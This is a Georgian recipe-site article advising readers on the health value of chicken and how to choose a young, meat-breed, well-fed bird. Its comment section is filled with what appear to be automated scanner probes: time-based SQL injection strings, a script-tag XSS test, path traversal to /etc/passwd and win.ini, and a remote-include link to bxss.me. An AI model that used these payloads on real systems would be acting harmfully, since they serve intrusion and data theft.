რეგისტრაცია შესვლა
1
გამარჯობა,
  • კულინარიული აღმოჩენების დროა!
  • ჩაინიშნეთ და შეაფასეთ საყვარელი რეცეპტები
  • გაუზიარეთ სხვებსაც საკუთარი კულინარიული შემოქმედება
დარეგისტრირდით ახლავე!
რეცეპტის დამატება
1
პროფილი
ფავორიტები
ჩემი რეცეპტები
ჩემი ფოტოები
პარამეტრები
გამოსვლა
გამარჯობა,
კულინარიული აღმოჩენების დროა!
ჩაინიშნეთ და შეაფასეთ საყვარელი რეცეპტები
გაუზიარეთ სხვებსაც საკუთარი კულინარიული შემოქმედება
განათავსე რეცეპტები!
რეცეპტები სტატიები რჩევები
რეცეპტები
სალათები
ცომეული
ნამცხვრები და ტორტები
ხორცეული
წვნიანები
ქართული სამზარეულო
თევზი და ზღვის პროდუქტები
დესერტები და ტკბილეულობა
სამარხვო/ვეგეტარიანული
მსოფლიო სამზარეულო
სადღესასწაულო
პასტა და ბურღულეული
სასმელები
კონსერვი და სოუსები
ყველა კატეგორია
სტატიები რჩევები
ქათმის ხორცის სასარგებლო თვისებები - როგორ ავარჩიოთ ქათამი?
ავტორი: Tekla_mi
ქათმის ხორცი ჯანმრთელი კვების უმნიშვნელოვანესი კომპონენტია. ეს არის მაღალი ხარისხის, ადვილად ასათვისებელი ცილების, ვიტამინების, ამინომჟავების და მინერალური ნივთიერებების შეუცვლელი წყარო ნებისმიერი ასაკის ორგანიზმისთვის, მისი ზრდისა და ფუნქციობისთვის. ქათმის ხორცი საქონლის ხორცთან შედარებით მეტ ცილას შეიცავს (ქათმის ხორცში ცილები 19,5%-ია, საქონლის ხორცში კი 13%) და მას ადამიანის ორგანიზმი უფრო ადვილად ითვისებს, ამიტომ ქათმის ხორცი შეიძლება სხვა ხორცზე უფრო ხშირად და მეტი ოდენობით მოვიხმაროთ.

 

როგორ გავარჩიოთ ერთმანეთისგან ბებერი და ახალგაზრდა ქათამი?
 

განსაკუთრებით სასარგებლოა ახალგაზრდა ფრინველის ხორცი. გირჩევთ, არ შეიძინოთ ბებერი ფრინველი - მისი ხორცი მაგარი და უხეშია. ფრინველის ასაკის გასარჩევად დააკვირდით მის კანს და ფეხებს: ბებერ ქათამს კანი უხეში აქვს, მოყვითალო ფერისა, ქონი - მუქი ყვითელი, ფეხები დაფარული აქვს უხეში ქერცლით, ხოლო ფეხის ქვედა მხარეზე აქვს კანის უხეში წანაზარდები. ახალგაზრდა ქათამს კანი ღია ფერისა აქვს, ფრთებ ქვეშ უჩანს ძარღვები, ფეხები რბილი აქვს, დაფარული წვრილი ყვითელი ქერცლით. ბებერი ქათამი შეიძლება ახალგაზრდაზე ცხიმიანი იყოს, თუმცა ახალგაზრდა ქათმის ხორცი ბევრად უფრო ნაზი და გემრიელია, ამიტომ ყოველთვის სჯობს, აირჩიოთ ახალგაზრდა ქათამი.
 

რომელი ჯიშის ქათამი სჯობს?
 

ქათმის ხორცი იყოფა ორ სახეობად: მეხორცული და კვერცხის მდებელი. მეხორცული ჯიში უფრო მეტ ცილასა და ცხიმს შეიცავს, ვიდრე კვერცხის მდებელი შესაბამისად უფრო გემრიელია. მეხორცეული ქათამი კვერცხის მდებელ ქათამზე ბევრად დიდია და გაითვალისწინეთ, რომ ფერმის ქათმები ძირითად შემთხვევაში მეხორცეული ჯიშისაა. კვერცხის მდებელი ქათამი უფრო გამოფიტულია და ნაკლებად სასარგებლო. შესაბამისად, უმჯობესია არჩევანი მეხორცეულე ჯიშის ქათამზე შეაჩეროთ, იგი უფრო გემრიელია და ყუათიანი. 
 

როგორ ამოვიცნოთ კარგად ნაკვები ფრინველი?

 

კარგად ნაკვებ ქათამს - მკერდის ძვალი არ უჩანს, მკერდს ცხიმი თხელი ფენით ფარავს, კანის ფერი ღია ტონებშია მუქი ფერების გარეშე. ცუდად ნაკვებ ქათამს - კი მკერდის ძვალი გამოკვეთილი აქვს, კანს მონაცრისფრო, მოყვითალო ფერი გადაჰკრავს. სრულიად შესაძლებელია, რომ ასაკიან ქათამს მეტი ცხიმი ჰქონდეს, ვიდრე ახალგაზრდას, მაგრამ სჯობს ისევ ახალგაზრდა, ნაკლებ ცხიმიანი შეიძინოთ.

 

ქათმის ხორცის შეძენისას უმჯობესია აირჩიოთ მეხორცეული ჯიშის ახალგაზრდა, კარგად ნაკვები ფრინველი, სასურველია ახალდაკლული (შესაძლებელია გაყინულიც).

ბეჭდვა
კომენტარები
166 კომენტარი
დაამატეთ კომენტარი

ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
CRv7rZql
ubaTaeCJ
09/08/2023
)
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
!(()&&!|*|*|
ubaTaeCJ
09/08/2023
-1 OR 2+572-572-1=0+0+0+1 --
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
../../../../../../../../../../../../../../etc/passwd
ubaTaeCJ
09/08/2023
^(#$!@#$)(()))******
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
-1 OR 2+247-247-1=0+0+0+1
ubaTaeCJ
09/08/2023
Http://bxss.me/t/fit.txt
ubaTaeCJ
09/08/2023
../../../../../../../../../../../../../../windows/win.ini
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
-1' OR 2+911-911-1=0+0+0+1 --
ubaTaeCJ
09/08/2023
http://bxss.me/t/fit.txt?.jpg
ubaTaeCJ
09/08/2023
file:///etc/passwd
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
-1' OR 2+168-168-1=0+0+0+1 or 'uRJxIgfK'='
ubaTaeCJ
09/08/2023
/etc/shells
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
-1" OR 2+231-231-1=0+0+0+1 --
ubaTaeCJ
09/08/2023
c:/windows/win.ini
ubaTaeCJ
09/08/2023
../555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
12345'"\'\")
ubaTaeCJ
09/08/2023
bxss.me
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'"()&%<zzz><ScRiPt >ObIO(9868)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
09/08/2023
'"()&%<zzz><ScRiPt >ObIO(9307)</ScRiPt>
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
-1
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
-1)
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
1 waitfor delay '0:0:15' --
ubaTaeCJ
09/08/2023
5559304948
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
LNDqhmkT'
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
-5 OR 823=(SELECT 823 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
-5) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
-1)) OR 55=(SELECT 55 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
mE5T1SKV' OR 401=(SELECT 401 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
7Uze1znd') OR 509=(SELECT 509 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
dr5H0gH3')) OR 637=(SELECT 637 FROM PG_SLEEP(15))--
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
1'"
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
@@jSkzq
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ubaTaeCJ
09/08/2023
555
ბოლოს განთავსებული
ცხელი შოკოლადი
ცხელი შოკოლადი
ავტორი:
Tekla_mi
ატმის აზიური სალათა
ატმის აზიური სალათა
ავტორი:
Tekla_mi
რამდენიმე ხრიკი, თუ როგორ მოვამზადოთ წვნიანი და რბილი ქათამი
რამდენიმე ხრიკი, თუ როგორ მოვამზადოთ წვნიანი და რბილი ქათამი
ქათმის მომზადება ერთი შეხედვით ადვილია, მაგრამ ხშირად საბოლოო შედეგი მაინც გამომშრალი ხორცია. ჩვენ გაგიზიარებთ რამდენიმე მარტივ რჩევას, რის შემდეგაც თქვენი ქათმის ხორცი წვნიანი და ფაფუკი გახდება.
თარიღი: 06/10/2022
ავტორი: Tekla_mi
რა განსხვავებაა ქათმის თეთრ და მუქ ხორცს შორის?
რა განსხვავებაა ქათმის თეთრ და მუქ ხორცს შორის?
ქათმის ხორცი ჯანსაღი კვების უმნიშვნელოვანესი ნაწილია. იგი წარმოადგენს მაღალი ხარისხის, ადვილად ასათვისებელ ცილების, ვიტამინების, ამინომჟავებისა და მინერალური ნივთიერებების შეუცვლელ წყაროს ნებისმიერი ასაკის ორგანიზმისთვის. როდესაც საქმე ეხება ქათმის ნაჭრის არჩევას, რომელს ანიჭებთ უპირატესობას ქათმის თეთრ თუ მუქ ხორცს? ქათმის ფრთები და მკერდი თეთრ ხორცად ითვლება, ქათმის ბარკლები კი მუქად.
თარიღი: 06/03/2022
ავტორი: Tekla_mi
როგორ უნდა დაიჭრას მთლიანი ქათამი
როგორ უნდა დაიჭრას მთლიანი ქათამი
როგორ დავჭრათ მთლიანი ქათამი ნაჭრებად.
როგორ გავაკეთოთ ხურმის ჩირი
როგორ გავაკეთოთ ხურმის ჩირი
მოამზადეთ უგემრიელესი ხურმის ჩირი საკუთარი ხელით ძალიან მარტივად :)
მსგავსი სტატიები
კერძი ჯანმრთელობის ფასად
კერძი ჯანმრთელობის ფასად
თარიღი: 03/02/2017
ავტორი: tomato
საკვებს უმეტესად ღია ცეცხლზე ამზადებთ? თქვენი ჯანმრთელობა რისკის ქვეშაა, კონკრეტულად კი..